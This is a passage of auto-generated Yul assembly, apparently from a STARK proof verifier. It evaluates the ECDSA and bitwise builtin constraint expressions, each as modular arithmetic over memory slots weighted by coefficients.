// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[83].
res := addmod(res,
mulmod(val, /*coefficients[83]*/ mload(0xfa0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/y: column6_row22 + column6_row54 - column6_row14 * (column6_row6 - column6_row38).
let val := addmod(
addmod(/*column6_row22*/ mload(0x2700), /*column6_row54*/ mload(0x2840), PRIME),
sub(
PRIME,
mulmod(
/*column6_row14*/ mload(0x2680),
addmod(/*column6_row6*/ mload(0x25c0), sub(PRIME, /*column6_row38*/ mload(0x27c0)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[84].
res := addmod(res,
mulmod(val, /*coefficients[84]*/ mload(0xfc0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/booleanity_test: ecdsa__signature0__exponentiate_generator__bit_0 * (ecdsa__signature0__exponentiate_generator__bit_0 - 1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[85].
res := addmod(res,
mulmod(val, /*coefficients[85]*/ mload(0xfe0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/bit_extraction_end: column6_row53.
let val := /*column6_row53*/ mload(0x2820)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - trace_generator^(251 * trace_length / 256).
// val *= denominator_invs[18].
val := mulmod(val, mload(0x37e0), PRIME)
// res += val * coefficients[86].
res := addmod(res,
mulmod(val, /*coefficients[86]*/ mload(0x1000), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/zeros_tail: column6_row53.
let val := /*column6_row53*/ mload(0x2820)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[19].
val := mulmod(val, mload(0x3800), PRIME)
// res += val * coefficients[87].
res := addmod(res,
mulmod(val, /*coefficients[87]*/ mload(0x1020), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/slope: ecdsa__signature0__exponentiate_generator__bit_0 * (column6_row37 - ecdsa__generator_points__y) - column6_row21 * (column6_row5 - ecdsa__generator_points__x).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(
/*column6_row37*/ mload(0x27a0),
sub(PRIME, /*periodic_column/ecdsa/generator_points/y*/ mload(0x60)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row21*/ mload(0x26e0),
addmod(
/*column6_row5*/ mload(0x25a0),
sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[88].
res := addmod(res,
mulmod(val, /*coefficients[88]*/ mload(0x1040), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x: column6_row21 * column6_row21 - ecdsa__signature0__exponentiate_generator__bit_0 * (column6_row5 + ecdsa__generator_points__x + column6_row69).
let val := addmod(
mulmod(/*column6_row21*/ mload(0x26e0), /*column6_row21*/ mload(0x26e0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(
addmod(
/*column6_row5*/ mload(0x25a0),
/*periodic_column/ecdsa/generator_points/x*/ mload(0x40),
PRIME),
/*column6_row69*/ mload(0x2880),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[89].
res := addmod(res,
mulmod(val, /*coefficients[89]*/ mload(0x1060), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/y: ecdsa__signature0__exponentiate_generator__bit_0 * (column6_row37 + column6_row101) - column6_row21 * (column6_row5 - column6_row69).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(/*column6_row37*/ mload(0x27a0), /*column6_row101*/ mload(0x28a0), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row21*/ mload(0x26e0),
addmod(/*column6_row5*/ mload(0x25a0), sub(PRIME, /*column6_row69*/ mload(0x2880)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[90].
res := addmod(res,
mulmod(val, /*coefficients[90]*/ mload(0x1080), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv: column6_row13 * (column6_row5 - ecdsa__generator_points__x) - 1.
let val := addmod(
mulmod(
/*column6_row13*/ mload(0x2660),
addmod(
/*column6_row5*/ mload(0x25a0),
sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[91].
res := addmod(res,
mulmod(val, /*coefficients[91]*/ mload(0x10a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/x: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column6_row69 - column6_row5).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x3000),
addmod(/*column6_row69*/ mload(0x2880), sub(PRIME, /*column6_row5*/ mload(0x25a0)), PRIME),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[92].
res := addmod(res,
mulmod(val, /*coefficients[92]*/ mload(0x10c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/y: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column6_row101 - column6_row37).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x3000),
addmod(
/*column6_row101*/ mload(0x28a0),
sub(PRIME, /*column6_row37*/ mload(0x27a0)),
PRIME),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[93].
res := addmod(res,
mulmod(val, /*coefficients[93]*/ mload(0x10e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/booleanity_test: ecdsa__signature0__exponentiate_key__bit_0 * (ecdsa__signature0__exponentiate_key__bit_0 - 1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[94].
res := addmod(res,
mulmod(val, /*coefficients[94]*/ mload(0x1100), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/bit_extraction_end: column6_row9.
let val := /*column6_row9*/ mload(0x2600)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256).
// val *= denominator_invs[20].
val := mulmod(val, mload(0x3820), PRIME)
// res += val * coefficients[95].
res := addmod(res,
mulmod(val, /*coefficients[95]*/ mload(0x1120), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/zeros_tail: column6_row9.
let val := /*column6_row9*/ mload(0x2600)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[21].
val := mulmod(val, mload(0x3840), PRIME)
// res += val * coefficients[96].
res := addmod(res,
mulmod(val, /*coefficients[96]*/ mload(0x1140), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/slope: ecdsa__signature0__exponentiate_key__bit_0 * (column6_row1 - column6_row22) - column6_row17 * (column6_row30 - column6_row6).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(/*column6_row1*/ mload(0x2540), sub(PRIME, /*column6_row22*/ mload(0x2700)), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row17*/ mload(0x26c0),
addmod(/*column6_row30*/ mload(0x2760), sub(PRIME, /*column6_row6*/ mload(0x25c0)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[97].
res := addmod(res,
mulmod(val, /*coefficients[97]*/ mload(0x1160), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x: column6_row17 * column6_row17 - ecdsa__signature0__exponentiate_key__bit_0 * (column6_row30 + column6_row6 + column6_row62).
let val := addmod(
mulmod(/*column6_row17*/ mload(0x26c0), /*column6_row17*/ mload(0x26c0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(
addmod(/*column6_row30*/ mload(0x2760), /*column6_row6*/ mload(0x25c0), PRIME),
/*column6_row62*/ mload(0x2860),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[98].
res := addmod(res,
mulmod(val, /*coefficients[98]*/ mload(0x1180), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/y: ecdsa__signature0__exponentiate_key__bit_0 * (column6_row1 + column6_row33) - column6_row17 * (column6_row30 - column6_row62).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(/*column6_row1*/ mload(0x2540), /*column6_row33*/ mload(0x2780), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row17*/ mload(0x26c0),
addmod(/*column6_row30*/ mload(0x2760), sub(PRIME, /*column6_row62*/ mload(0x2860)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[99].
res := addmod(res,
mulmod(val, /*coefficients[99]*/ mload(0x11a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x_diff_inv: column6_row25 * (column6_row30 - column6_row6) - 1.
let val := addmod(
mulmod(
/*column6_row25*/ mload(0x2740),
addmod(/*column6_row30*/ mload(0x2760), sub(PRIME, /*column6_row6*/ mload(0x25c0)), PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[100].
res := addmod(res,
mulmod(val, /*coefficients[100]*/ mload(0x11c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/x: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column6_row62 - column6_row30).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x3040),
addmod(/*column6_row62*/ mload(0x2860), sub(PRIME, /*column6_row30*/ mload(0x2760)), PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[101].
res := addmod(res,
mulmod(val, /*coefficients[101]*/ mload(0x11e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/y: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column6_row33 - column6_row1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x3040),
addmod(/*column6_row33*/ mload(0x2780), sub(PRIME, /*column6_row1*/ mload(0x2540)), PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[102].
res := addmod(res,
mulmod(val, /*coefficients[102]*/ mload(0x1200), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_gen/x: column6_row5 - ecdsa/sig_config.shift_point.x.
let val := addmod(
/*column6_row5*/ mload(0x25a0),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[103].
res := addmod(res,
mulmod(val, /*coefficients[103]*/ mload(0x1220), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_gen/y: column6_row37 + ecdsa/sig_config.shift_point.y.
let val := addmod(
/*column6_row37*/ mload(0x27a0),
/*ecdsa/sig_config.shift_point.y*/ mload(0x3c0),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[104].
res := addmod(res,
mulmod(val, /*coefficients[104]*/ mload(0x1240), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_key/x: column6_row30 - ecdsa/sig_config.shift_point.x.
let val := addmod(
/*column6_row30*/ mload(0x2760),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[23].
val := mulmod(val, mload(0x3880), PRIME)
// res += val * coefficients[105].
res := addmod(res,
mulmod(val, /*coefficients[105]*/ mload(0x1260), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_key/y: column6_row1 - ecdsa/sig_config.shift_point.y.
let val := addmod(
/*column6_row1*/ mload(0x2540),
sub(PRIME, /*ecdsa/sig_config.shift_point.y*/ mload(0x3c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[23].
val := mulmod(val, mload(0x3880), PRIME)
// res += val * coefficients[106].
res := addmod(res,
mulmod(val, /*coefficients[106]*/ mload(0x1280), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/slope: column6_row16357 - (column6_row8161 + column6_row16341 * (column6_row16325 - column6_row8190)).
let val := addmod(
/*column6_row16357*/ mload(0x2a40),
sub(
PRIME,
addmod(
/*column6_row8161*/ mload(0x28e0),
mulmod(
/*column6_row16341*/ mload(0x2a00),
addmod(
/*column6_row16325*/ mload(0x29c0),
sub(PRIME, /*column6_row8190*/ mload(0x2960)),
PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[107].
res := addmod(res,
mulmod(val, /*coefficients[107]*/ mload(0x12a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/x: column6_row16341 * column6_row16341 - (column6_row16325 + column6_row8190 + column6_row8198).
let val := addmod(
mulmod(/*column6_row16341*/ mload(0x2a00), /*column6_row16341*/ mload(0x2a00), PRIME),
sub(
PRIME,
addmod(
addmod(/*column6_row16325*/ mload(0x29c0), /*column6_row8190*/ mload(0x2960), PRIME),
/*column6_row8198*/ mload(0x2980),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[108].
res := addmod(res,
mulmod(val, /*coefficients[108]*/ mload(0x12c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/y: column6_row16357 + column6_row8214 - column6_row16341 * (column6_row16325 - column6_row8198).
let val := addmod(
addmod(/*column6_row16357*/ mload(0x2a40), /*column6_row8214*/ mload(0x29a0), PRIME),
sub(
PRIME,
mulmod(
/*column6_row16341*/ mload(0x2a00),
addmod(
/*column6_row16325*/ mload(0x29c0),
sub(PRIME, /*column6_row8198*/ mload(0x2980)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[109].
res := addmod(res,
mulmod(val, /*coefficients[109]*/ mload(0x12e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/x_diff_inv: column6_row16333 * (column6_row16325 - column6_row8190) - 1.
let val := addmod(
mulmod(
/*column6_row16333*/ mload(0x29e0),
addmod(
/*column6_row16325*/ mload(0x29c0),
sub(PRIME, /*column6_row8190*/ mload(0x2960)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[110].
res := addmod(res,
mulmod(val, /*coefficients[110]*/ mload(0x1300), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/slope: column6_row16353 + ecdsa/sig_config.shift_point.y - column6_row8177 * (column6_row16382 - ecdsa/sig_config.shift_point.x).
let val := addmod(
addmod(
/*column6_row16353*/ mload(0x2a20),
/*ecdsa/sig_config.shift_point.y*/ mload(0x3c0),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row8177*/ mload(0x2920),
addmod(
/*column6_row16382*/ mload(0x2aa0),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[111].
res := addmod(res,
mulmod(val, /*coefficients[111]*/ mload(0x1320), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/x: column6_row8177 * column6_row8177 - (column6_row16382 + ecdsa/sig_config.shift_point.x + column6_row9).
let val := addmod(
mulmod(/*column6_row8177*/ mload(0x2920), /*column6_row8177*/ mload(0x2920), PRIME),
sub(
PRIME,
addmod(
addmod(
/*column6_row16382*/ mload(0x2aa0),
/*ecdsa/sig_config.shift_point.x*/ mload(0x3a0),
PRIME),
/*column6_row9*/ mload(0x2600),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[112].
res := addmod(res,
mulmod(val, /*coefficients[112]*/ mload(0x1340), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/x_diff_inv: column6_row16369 * (column6_row16382 - ecdsa/sig_config.shift_point.x) - 1.
let val := addmod(
mulmod(
/*column6_row16369*/ mload(0x2a60),
addmod(
/*column6_row16382*/ mload(0x2aa0),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[113].
res := addmod(res,
mulmod(val, /*coefficients[113]*/ mload(0x1360), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/z_nonzero: column6_row53 * column6_row8185 - 1.
let val := addmod(
mulmod(/*column6_row53*/ mload(0x2820), /*column6_row8185*/ mload(0x2940), PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[114].
res := addmod(res,
mulmod(val, /*coefficients[114]*/ mload(0x1380), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/r_and_w_nonzero: column6_row9 * column6_row8174 - 1.
let val := addmod(
mulmod(/*column6_row9*/ mload(0x2600), /*column6_row8174*/ mload(0x2900), PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[23].
val := mulmod(val, mload(0x3880), PRIME)
// res += val * coefficients[115].
res := addmod(res,
mulmod(val, /*coefficients[115]*/ mload(0x13a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/q_on_curve/x_squared: column6_row16377 - column6_row6 * column6_row6.
let val := addmod(
/*column6_row16377*/ mload(0x2a80),
sub(
PRIME,
mulmod(/*column6_row6*/ mload(0x25c0), /*column6_row6*/ mload(0x25c0), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[116].
res := addmod(res,
mulmod(val, /*coefficients[116]*/ mload(0x13c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/q_on_curve/on_curve: column6_row22 * column6_row22 - (column6_row6 * column6_row16377 + ecdsa/sig_config.alpha * column6_row6 + ecdsa/sig_config.beta).
let val := addmod(
mulmod(/*column6_row22*/ mload(0x2700), /*column6_row22*/ mload(0x2700), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(/*column6_row6*/ mload(0x25c0), /*column6_row16377*/ mload(0x2a80), PRIME),
mulmod(/*ecdsa/sig_config.alpha*/ mload(0x380), /*column6_row6*/ mload(0x25c0), PRIME),
PRIME),
/*ecdsa/sig_config.beta*/ mload(0x3e0),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[117].
res := addmod(res,
mulmod(val, /*coefficients[117]*/ mload(0x13e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/init_addr: column3_row3082 - initial_ecdsa_addr.
let val := addmod(
/*column3_row3082*/ mload(0x1fc0),
sub(PRIME, /*initial_ecdsa_addr*/ mload(0x400)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[118].
res := addmod(res,
mulmod(val, /*coefficients[118]*/ mload(0x1400), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/message_addr: column3_row11274 - (column3_row3082 + 1).
let val := addmod(
/*column3_row11274*/ mload(0x2020),
sub(PRIME, addmod(/*column3_row3082*/ mload(0x1fc0), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[119].
res := addmod(res,
mulmod(val, /*coefficients[119]*/ mload(0x1420), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/pubkey_addr: column3_row19466 - (column3_row11274 + 1).
let val := addmod(
/*column3_row19466*/ mload(0x2060),
sub(PRIME, addmod(/*column3_row11274*/ mload(0x2020), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(16384 * (trace_length / 16384 - 1)).
// val *= numerators[11].
val := mulmod(val, mload(0x3d40), PRIME)
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[120].
res := addmod(res,
mulmod(val, /*coefficients[120]*/ mload(0x1440), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/message_value0: column3_row11275 - column6_row53.
let val := addmod(
/*column3_row11275*/ mload(0x2040),
sub(PRIME, /*column6_row53*/ mload(0x2820)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[121].
res := addmod(res,
mulmod(val, /*coefficients[121]*/ mload(0x1460), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/pubkey_value0: column3_row3083 - column6_row6.
let val := addmod(
/*column3_row3083*/ mload(0x1fe0),
sub(PRIME, /*column6_row6*/ mload(0x25c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[122].
res := addmod(res,
mulmod(val, /*coefficients[122]*/ mload(0x1480), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/init_var_pool_addr: column3_row26 - initial_bitwise_addr.
let val := addmod(
/*column3_row26*/ mload(0x1dc0),
sub(PRIME, /*initial_bitwise_addr*/ mload(0x420)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[123].
res := addmod(res,
mulmod(val, /*coefficients[123]*/ mload(0x14a0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/step_var_pool_addr: column3_row58 - (column3_row26 + 1).
let val := addmod(
/*column3_row58*/ mload(0x1e40),
sub(PRIME, addmod(/*column3_row26*/ mload(0x1dc0), 1, PRIME)),
PRIME)
// Numerator: point^(trace_length / 128) - trace_generator^(3 * trace_length / 4).
// val *= numerators[12].
val := mulmod(val, mload(0x3d60), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[124].
res := addmod(res,
mulmod(val, /*coefficients[124]*/ mload(0x14c0), PRIME),
PRIME)
}
{
